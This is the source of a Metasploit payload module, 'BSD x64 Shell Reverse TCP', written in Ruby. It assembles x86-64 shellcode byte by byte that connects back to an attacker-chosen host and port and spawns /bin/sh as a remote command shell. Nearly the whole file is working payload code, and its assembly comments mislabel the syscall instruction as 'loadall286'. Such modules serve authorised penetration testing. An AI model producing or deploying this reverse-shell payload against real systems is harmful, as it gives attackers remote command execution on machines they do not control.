101 lines
4.1 KiB
Ruby
101 lines
4.1 KiB
Ruby
|
##
|
||
|
# This module requires Metasploit: http://metasploit.com/download
|
||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||
|
##
|
||
|
|
||
|
|
||
|
require 'msf/core'
|
||
|
require 'msf/core/handler/reverse_tcp'
|
||
|
|
||
|
module Metasploit3
|
||
|
|
||
|
CachedSize = 108
|
||
|
|
||
|
include Msf::Payload::Single
|
||
|
include Msf::Payload::Bsd
|
||
|
include Msf::Sessions::CommandShellOptions
|
||
|
|
||
|
def initialize(info = {})
|
||
|
super(merge_info(info,
|
||
|
'Name' => 'BSD x64 Shell Reverse TCP',
|
||
|
'Description' => 'Connect back to attacker and spawn a command shell',
|
||
|
'Author' => [
|
||
|
'nemo <nemo[at]felinemenace.org>',
|
||
|
'joev' # copy pasta monkey
|
||
|
],
|
||
|
'License' => MSF_LICENSE,
|
||
|
'Platform' => 'bsd',
|
||
|
'Arch' => ARCH_X86_64,
|
||
|
'Handler' => Msf::Handler::ReverseTcp,
|
||
|
'Session' => Msf::Sessions::CommandShellUnix
|
||
|
))
|
||
|
|
||
|
# exec payload options
|
||
|
|
||
|
register_options(
|
||
|
[
|
||
|
OptString.new('CMD', [ true, "The command string to execute", "/bin/sh" ]),
|
||
|
Opt::LHOST,
|
||
|
Opt::LPORT(4444)
|
||
|
], self.class)
|
||
|
end
|
||
|
|
||
|
# build the shellcode payload dynamically based on the user-provided CMD
|
||
|
def generate
|
||
|
lhost = datastore['LHOST'] || '127.0.0.1'
|
||
|
|
||
|
# OptAddress allows either an IP or hostname, we only want IPv4
|
||
|
if not Rex::Socket.is_ipv4?(lhost)
|
||
|
raise ArgumentError, "LHOST must be in IPv4 format."
|
||
|
end
|
||
|
|
||
|
cmd = (datastore['CMD'] || '') << "\x00"
|
||
|
port = [datastore['LPORT'].to_i].pack('n')
|
||
|
ipaddr = [lhost.split('.').inject(0) {|t,v| (t << 8 ) + v.to_i}].pack("N")
|
||
|
|
||
|
call = "\xe8" + [cmd.length].pack('V')
|
||
|
payload =
|
||
|
"\x31\xc0" + # xor eax,eax
|
||
|
"\x83\xc0\x61" + # add eax,0x61
|
||
|
"\x6A\x02" + # push byte +0x2
|
||
|
"\x5F" + # pop rdi
|
||
|
"\x6A\x01" + # push byte +0x1
|
||
|
"\x5E" + # pop rsi
|
||
|
"\x48\x31\xD2" + # xor rdx,rdx
|
||
|
"\x0F\x05" + # loadall286
|
||
|
"\x49\x89\xC4" + # mov r12,rax
|
||
|
"\x48\x89\xC7" + # mov rdi,rax
|
||
|
"\x31\xc0" + # xor eax,eax
|
||
|
"\x83\xc0\x62" + # add eax,0x62
|
||
|
"\x48\x31\xF6" + # xor rsi,rsi
|
||
|
"\x56" + # push rsi
|
||
|
"\x48\xBE\x00\x02" + port + # mov rsi,0x100007fb3150200
|
||
|
ipaddr +
|
||
|
"\x56" + # push rsi
|
||
|
"\x48\x89\xE6" + # mov rsi,rsp
|
||
|
"\x6A\x10" + # push byte +0x10
|
||
|
"\x5A" + # pop rdx
|
||
|
"\x0F\x05" + # loadall286
|
||
|
"\x4C\x89\xE7" + # mov rdi,r12
|
||
|
"\x31\xc0" + # xor eax,eax
|
||
|
"\x83\xc0\x5A" + # add eax,0x5a
|
||
|
"\x48\x31\xF6" + # xor rsi,rsi
|
||
|
"\x0F\x05" + # loadall286
|
||
|
"\x31\xc0" + # xor eax,eax
|
||
|
"\x83\xc0\x5A" + # add eax,0x5a
|
||
|
"\x48\xFF\xC6" + # inc rsi
|
||
|
"\x0F\x05" + # loadall286
|
||
|
"\x48\x31\xC0" + # xor rax,rax
|
||
|
"\x31\xc0" + # xor eax,eax
|
||
|
"\x83\xc0\x3B" + # add eax,0x3b
|
||
|
call + # call CMD.len
|
||
|
cmd + # CMD
|
||
|
"\x48\x8B\x3C\x24" + # mov rdi,[rsp]
|
||
|
"\x48\x31\xD2" + # xor rdx,rdx
|
||
|
"\x52" + # push rdx
|
||
|
"\x57" + # push rdi
|
||
|
"\x48\x89\xE6" + # mov rsi,rsp
|
||
|
"\x0F\x05" # loadall286
|
||
|
end
|
||
|
end
|